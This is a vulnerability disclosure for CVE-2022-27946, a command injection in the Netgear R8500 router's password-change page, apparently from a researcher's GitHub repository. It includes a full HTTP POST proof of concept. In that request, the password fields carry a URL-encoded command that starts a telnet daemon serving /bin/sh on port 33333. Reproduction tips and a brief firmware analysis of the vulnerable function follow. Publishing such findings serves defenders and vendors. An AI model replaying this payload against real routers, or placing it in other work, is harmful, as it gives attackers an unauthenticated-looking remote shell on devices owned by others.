CVE-2022-27946: VUL/3.md at main · donothingme/VUL

Netgear R8500 Router Vulnerability****Basic infomation

• Vendor: Netgear

• Product: R8500

• Firmware version: V1.0.2.158

• Firmware download link: https://www.downloads.netgear.com/files/GDC/R8500/R8500-V1.0.2.158_1.0.105.zip

• Type:Remote Command Execution

• author:donothingme

Vulnerability description

We found a Command Injection vulnerability in Netgear R8500 router, which allows an authenticated attacker to execute arbitrary OS commands by a crafted request.

In set password page(http://www.routerlogin.net/genie_admin_account.htm), we can set new password.

The sysNewPasswd and sysConfirmPasswd fields have a command injection vulnerability. If we set the two fields equal to %24%28telnetd+-l+%2Fbin%2Fsh+-p+33333+-b+0.0.0.0%29, we can actually execute command which $(telnetd -l /bin/sh -p 33333-b 0.0.0.0).

The POC like follows:

POST /admin_account.cgi?id=7b1f57fc21e93455c9661ac4b027ee24b675c5cdbe2364d4783154751352f378 HTTP/1.1
Host: 192.168.1.1
Proxy-Connection: keep-alive
Content-Length: 195
Cache-Control: max-age=0
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.1/genie_admin_account.htm
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8
Cookie: XSRF_TOKEN=4125904923

sysNewPasswd=%24%28telnetd+-l+%2Fbin%2Fsh+-p+33333+-b+0.0.0.0%29&sysConfirmPasswd=%24%28telnetd+-l+%2Fbin%2Fsh+-p+33333+-b+0.0.0.0%29&question1=1&answer1=test&question2=1&answer2=test&next=submit

And as we can see, after send the craft request, the command is actually executed, and we can get a shell.

Some tips to trigger vulnerability:

• Use IP address(192.168.1.1) instead of url(www.routerlogin.net) to access web page
• Plug in the USB stick to make sure reproduce successfunly

Firmware analysis

We can locate the vulnerability function by string "admin_account.cgi".

In function sub_72934, the sysNewPasswd field is directly saved in nvram config, and this field is directly controlled by attackers.

The nvram value htt_passwd is used in many functions, and some functions use this value to execute function system(), so it will cause a command injection vulnerability.